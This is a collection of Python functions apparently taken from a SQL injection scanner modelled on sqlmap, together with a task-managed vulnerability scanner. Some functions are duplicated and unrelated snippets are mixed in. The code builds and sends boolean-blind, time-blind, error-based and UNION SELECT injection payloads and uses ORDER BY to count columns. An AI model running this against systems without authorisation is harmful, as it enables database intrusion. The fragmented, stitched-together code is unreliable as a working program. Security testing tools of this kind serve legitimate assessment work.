def unionSelectTest(highCols): # TODO:customize infoMsg = 'testing UNION SELECT - prefix: {} suffix: {}'.format( boundary['prefix'], boundary['suffix']) logger.info(infoMsg) column = 0 maxRatio = 0 for i in range(1, highCols + 1): select = 'UNION SELECT NULL' + (i - 1) * ',NULL' payloadTemplate = '[_ORIGINAL]' + boundary[ 'prefix'] + select + boundary['suffix'] page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate) if pageSucceed(page): if comparison(rn.originalPage, page): column = i return column ratio = getComparisonRatio(page, rn.originalPage) if ratio > maxRatio: maxRatio = ratio column = i return column
def findDynamicContent(firstPage, secondPage): if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" logger.info(infoMsg)
def orderByTest(lowCols, highCols): infoMsg = 'testing ORDER BY - prefix: {} suffix: {}'.format( boundary['prefix'], boundary['suffix']) logger.info(infoMsg) column = 0 if orderBySucceed( lowCols) and not orderBySucceed(highCols) or orderByFailed( highCols) and not orderByFailed(lowCols): mid = 0 while lowCols <= highCols: mid = int((highCols + lowCols) / 2) if mid == lowCols: break if orderBySucceed(lowCols) and not orderBySucceed( mid) or orderByFailed( mid) and not orderByFailed(lowCols): highCols = mid elif orderBySucceed(mid) and not orderBySucceed( highCols) or orderByFailed( highCols) and not orderByFailed(mid): lowCols = mid else: return None column = mid return column
def checkStability(): infoMsg = "testing if the target URL content is stable" logger.info(infoMsg) firstPage = rn.originalPage try: secondPage, _, _, _, = queryTarget() rn.pageStable = (firstPage == secondPage) except Exception: errMsg = 'check stability: failed to query target' logger.error(errMsg) raise QuitException if rn.pageStable: if firstPage: infoMsg = "target URL content is stable" logger.info(infoMsg) else: errMsg = "there was an error checking the stability of page " errMsg += "because of lack of content. Please check the " errMsg += "page request results (and probable errors) by " errMsg += "using higher verbosity levels" logger.error(errMsg) else: checkDynamicContent(firstPage, secondPage)
def __init__(self, request): self.id = request.id self.status = {} self.started = False self.request = request for m in scanner.module_obj: module_name = m.__name__ self.status[module_name] = False logger.info("New task %s." % self.id) self.url = request.url
def add(self, task, modify_redis): if task.id in self.tasks.keys(): logger.info("Duplicate task received:%s" % task.id) return False else: while self.running_task_num >= self.tasks_limitation: sleep(1) logger.success("Add new task into the TaskManager %s" % task.id) self.tasks[task.id] = task task.scan() self.running_task_num += 1 # move request id from waiting to running if modify_redis: redis.run_task(task.id)
def run(): worker_count, max_concurrency = parse_args() with TemporaryDirectory() as work_dir: logger.info('Temporary directory is %s', work_dir) downloader = DataDownloader(work_dir, worker_count) master = BackgroundMaster(JobValidator(max_concurrency), downloader, DataReader(work_dir), DataWriter(work_dir)) server = CustomServer(LISTEN_ADDRESS, RequestHandler, on_new_job=master.add_job, on_get_job_status=master.get_job_status) master.start(worker_count) try: server.serve_forever() finally: master.stop() downloader.stop()
def check_boolean_blind(): infoMsg = 'testing for BOOLEAN BLIND injection on {} parameter {}'.format( target.method, target.paramName) logger.info(infoMsg) injectable = False #Create tests tests = createTests() # Query Target for test in tests: if injectable: break infoMsg = 'test \'{}\''.format(test['title']) logger.info(infoMsg) page1, _, _, _ = queryTarget(test['payloadTemplate']) payload = rn.lastQueryPayload page2, _, _, _ = queryTarget(test['comparisonTemplate']) payloadComparison = rn.lastQueryPayload if pageSucceed(page1) and pageFalse(page2) or pageSucceed( page2) and pageSucceed(page1): injectable = True if injectable: msg = '{} parameter \'{}\' is injectable'.format( target.method, target.paramName) logger.puts(msg) msg = '---\n' msg += 'Parameter: {} ({})\n'.format(target.paramName, target.method) msg += '\tType: BOOLEAN BLIND\n' msg += '\tTitle: {}\n'.format(test['title']) msg += '\tPayload: {}\n'.format(payload) msg += '\tComparisonPayload: {}\n'.format(payloadComparison) msg += '---' logger.puts(msg) else: msg = '{} parameter \'{}\' does not seem to be injectable by BOOLEAN BLIND.'.format( target.method, target.paramName) logger.puts(msg)
def checkDynamicContent(firstPage, secondPage): #TODO infoMsg = 'check dynamic content' logger.info(infoMsg) if any(page is None for page in (firstPage, secondPage)): warnMsg = "can't check dynamic content " warnMsg += "because of lack of page content" logger.critical(warnMsg) return seqMatcher = difflib.SequenceMatcher(None) seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() if ratio <= UPPER_RATIO_BOUND: findDynamicContent(firstPage, secondPage)
def parseArgumentsToTarget(args): target = {} target['originalUrl'] = args.url #method, url, params if args.method == 'GET' : query = urllib.parse.urlparse(url=args.url,scheme='http').query if query: params = dict(_.split('=') for _ in query.split('&')) target['method'] = 'GET' target['params'] = params target['url_without_testParam'] = args.url.replace(query, '') target['url_without_query'] = args.url.replace('?' + query, '') else: print('todo') elif args.method == 'POST': logger.info('POST is not supported now') return None else: errorMsg = "please input method: GET/POST" logger.error(errorMsg) return None #testable param if args.testParam: if args.testParam in target['params']: target['paramName'] = args.testParam target['origValue'] = target['params'][args.testParam] for name in target['params'].keys(): if name != target['paramName']: target['url_without_testParam'] += name + '=' + target['params'][name] + '&' target['url_without_testParam'] = target['url_without_testParam'][:-1] else: errorMsg = 'testParam not found' logger.error(errorMsg) else: errorMsg = 'please input testable parameter (e.g. -p "id")' logger.error(errorMsg) return None return target
def scan(): while common.scanner_status: if th.queue.qsize() > 0: task = th.queue.get(timeout=1.0) else: gevent.sleep(1) continue try: # POC在执行时报错如果不被处理,线程框架会停止并退出 module, request = task[0], task[1] module_info = module.poc_info module_name = module.__name__ logger.info("Start poc: %s at %s" % (module_name, request.url)) scan_result = module.poc(request) logger.success("Finish poc: %s at %s" % (module_name, request.url)) poc_result.queue.put( [request, module_name, module_info, scan_result]) except Exception as e: th.errmsg = traceback.format_exc() logger.error(str(e))
def get(self): del_type = self.get_argument("type") if del_type in ['waiting', 'finished', 'running', 'vulnerable']: redis.conn.delete(del_type) return self.write(out.jump("/")) elif del_type == "flushdb": redis.conn.delete("waiting") redis.conn.delete("finished") redis.conn.delete("running") redis.conn.delete("vulnerable") redis.conn.delete("request") common.scanner_status = False logger.info("Clear all db data and stop the scanner.") return self.write( out.alert("Clear all db data and Stop the scanner.", "/")) elif del_type == "singlebug": id = self.get_argument("id") redis.conn.zremrangebyscore("vulnerable", id, id) logger.info("Delete a bug %s" % id) return self.write(out.jump("/list?type=vulnerable"))
def filter_request(request_obj): black_extension = common.conf["black_ext"].split(",") black_domain = common.conf["black_domain"].split(",") white_domain = common.conf["white_domain"].split(",") # host is not in blacklist & in whitelist host = request_obj.host if any(white_domain): if host not in white_domain: logger.info("Request Filtered.Host %s not in the whitelist" % host) return "filtered" else: if host in black_domain: logger.info("Request Filtered.Host %s in the blacklist" % host) return "filtered" # filename extension not in black_extension path = request_obj.path ending = path[path.rfind("/"):] if ending.find(".") >= 0: ext = ending[ending.rindex(".") + 1:] if ext in black_extension: logger.info( "Request Filtered.Filename Extension %s in the blacklist" % ext) return "filtered" return True
def checkConnection(): infoMsg = "testing connection to the target URL" logger.info(infoMsg) try: page, headers, code, _ = queryTarget() if not page: errMsg = "unable to retrieve page content" raise ConnectionException(errMsg) rn.originalPage = rn.pageTemplate = page rn.originalCode = code infoMsg = "check connection: code {}".format(code) logger.info(infoMsg) except Exception: errMsg = 'check connection: failed' logger.error(errMsg) raise QuitException
def check_union_based(): infoMsg = 'testing for UNION query injection on {} parameter {}'.format( target.method, target.paramName) logger.info(infoMsg) injectable = False boundaries = xmlLoader.loadXml(FILE_XML_BOUNDARIES) for boundary in boundaries: if injectable: break lowCols = 1 highCols = 20 def orderBySucceed(cols): # TODO:customize payloadTemplate = '[_ORIGINAL]' + boundary[ 'prefix'] + 'ORDER BY ' + str(cols) + boundary['suffix'] page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate) if re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None: return True if pageSucceed(page) and comparison(rn.originalPage, page): return True return False def orderByFailed(cols): # TODO:customize payloadTemplate = '[_ORIGINAL]' + boundary[ 'prefix'] + 'ORDER BY ' + str(cols) + boundary['suffix'] page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed"): if re.search(_, page or "", re.I) and not re.search( _, rn.originalPage or "", re.I): return True if pageError(page): return True return False def orderByTest(lowCols, highCols): infoMsg = 'testing ORDER BY - prefix: {} suffix: {}'.format( boundary['prefix'], boundary['suffix']) logger.info(infoMsg) column = 0 if orderBySucceed( lowCols) and not orderBySucceed(highCols) or orderByFailed( highCols) and not orderByFailed(lowCols): mid = 0 while lowCols <= highCols: mid = int((highCols + lowCols) / 2) if mid == lowCols: break if orderBySucceed(lowCols) and not orderBySucceed( mid) or orderByFailed( mid) and not orderByFailed(lowCols): highCols = mid elif orderBySucceed(mid) and not orderBySucceed( highCols) or orderByFailed( highCols) and not orderByFailed(mid): lowCols = mid else: return None column = mid return column def unionSelectTest(highCols): # TODO:customize infoMsg = 'testing UNION SELECT - prefix: {} suffix: {}'.format( boundary['prefix'], boundary['suffix']) logger.info(infoMsg) column = 0 maxRatio = 0 for i in range(1, highCols + 1): select = 'UNION SELECT NULL' + (i - 1) * ',NULL' payloadTemplate = '[_ORIGINAL]' + boundary[ 'prefix'] + select + boundary['suffix'] page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate) if pageSucceed(page): if comparison(rn.originalPage, page): column = i return column ratio = getComparisonRatio(page, rn.originalPage) if ratio > maxRatio: maxRatio = ratio column = i return column column = orderByTest(lowCols, highCols) if column == 0: column = unionSelectTest(highCols) if column == 0: continue logger.puts("found column: {}".format(column)) #test whether injectale randStr = randomStr(10) for i in range(1, column + 1): if i == 1: select = 'UNION SELECT ' + randStr + (column - 1) * ',NULL' else: select = 'UNION SELECT NULL,' + (i - 2) * 'NULL,' + randStr + ( column - i) * ',NULL' payloadTemplate = '[_ORIGINAL_NEGATIVE]' + boundary[ 'prefix'] + select + boundary['suffix'] page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate) match = pageRegexp(randStr, page) if match: injectable = True break if injectable: msg = '{} parameter \'{}\' is injectable'.format( target.method, target.paramName) logger.puts(msg) msg = '---\n' msg += 'Parameter: {} ({})\n'.format(target.paramName, target.method) msg += '\tType: UNION query\n' msg += '\tPayload: {}\n'.format(rn.lastQueryPayload) msg += '---' logger.puts(msg) else: msg = '{} parameter \'{}\' does not seem to be injectable by UNION query.'.format( target.method, target.paramName) logger.puts(msg)
def update(self, module_name, status): self.status[module_name] = status logger.info("Update task %s scanning status: %s, %s." % (self.id, module_name, status)) return True
def check_time_blind(): infoMsg = 'testing for TIME BLIND injection on {} parameter {}'.format( target.method, target.paramName) logger.info(infoMsg) injectable = False # Create tests tests = createTests() #Get lowerStdLimit responseTimes = [] for _ in range(MIN_TIME_RESPONSES): _, _, _, queryDuration = queryTarget() responseTimes.append(queryDuration) avg = (1.0 * sum(responseTimes) / len(responseTimes)) _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in responseTimes) deviation = math.sqrt(_ / (len(responseTimes) - 1)) rn.lowerStdLimit = avg + TIME_STDEV_COEFF * deviation # 最慢的响应时间 # Query Target for test in tests: if injectable: break infoMsg = 'test \'{}\''.format(test['title']) logger.info(infoMsg) _, _, _, responseTime = queryTarget( payloadTemplate=test['payloadTemplate'], replacements={'[ACTION]': SLEEP_TIME}) trueResult = wasResponseDelayed(responseTime) if trueResult: _, _, _, responseTime = queryTarget( payloadTemplate=test['payloadTemplate'], replacements={'[ACTION]': '0'}) falseResult = wasResponseDelayed(responseTime) if falseResult: continue _, _, _, responseTime = queryTarget( payloadTemplate=test['payloadTemplate'], replacements={'[ACTION]': SLEEP_TIME}) trueResult = wasResponseDelayed(responseTime) if trueResult: injectable = True break if injectable: msg = '{} parameter \'{}\' is injectable'.format( target.method, target.paramName) logger.puts(msg) msg = '---\n' msg += 'Parameter: {} ({})\n'.format(target.paramName, target.method) msg += '\tType: TIME BLIND\n' msg += '\tTitle: {}\n'.format(test['title']) msg += '\tPayload: {}\n'.format(rn.lastQueryPayload) msg += '---' logger.puts(msg) else: msg = '{} parameter \'{}\' does not seem to be injectable by TIME BLIND.'.format( target.method, target.paramName) logger.puts(msg)
def update(self, task_id, module_name, status): task = self.tasks[task_id] task.update(module_name, status) if task.finished(): logger.info("Finish Task with id %s" % task_id) self.remove(task_id)
def check_error_based(): infoMsg = 'testing for ERROR BASED injection on {} parameter {}'.format( target.method, target.paramName) logger.info(infoMsg) injectable = False output = None # Create tests tests = createTests() # Query Target for test in tests: if injectable: break infoMsg = 'test \'{}\''.format(test['title']) logger.info(infoMsg) try: startStr = randomStr(3) stopStr = randomStr(3) markInt = str(randomInt()) markStr = randomStr(3) page, _, _, _ = queryTarget( payloadTemplate=test['payloadTemplate'], replacements={ '[DELIMITER_START]': startStr, '[DELIMITER_STOP]': stopStr, '[MARKINT]': markInt, '[MARKSTR]': markStr }) regex = test['grep'] regex = regex.replace('[DELIMITER_START]', startStr) regex = regex.replace('[DELIMITER_STOP]', stopStr) match = pageRegexp(regex, page) if match: output = match.group("result") if output: result = output == markInt or output == markStr if result: injectable = True msg = '{} parameter \'{}\' is injectable'.format( target.method, target.paramName) logger.puts(msg) msg = '---\n' msg += 'Parameter: {} ({})\n'.format( target.paramName, target.method) msg += '\tType: ERROR BASED\n' msg += '\tTitle: {}\n'.format(test['title']) msg += '\tPayload: {}\n'.format(rn.lastQueryPayload) msg += '---' logger.puts(msg) except Exception: raise QuitException if not injectable: msg = '{} parameter \'{}\' does not seem to be injectable by ERROR BASED.'.format( target.method, target.paramName) logger.puts(msg)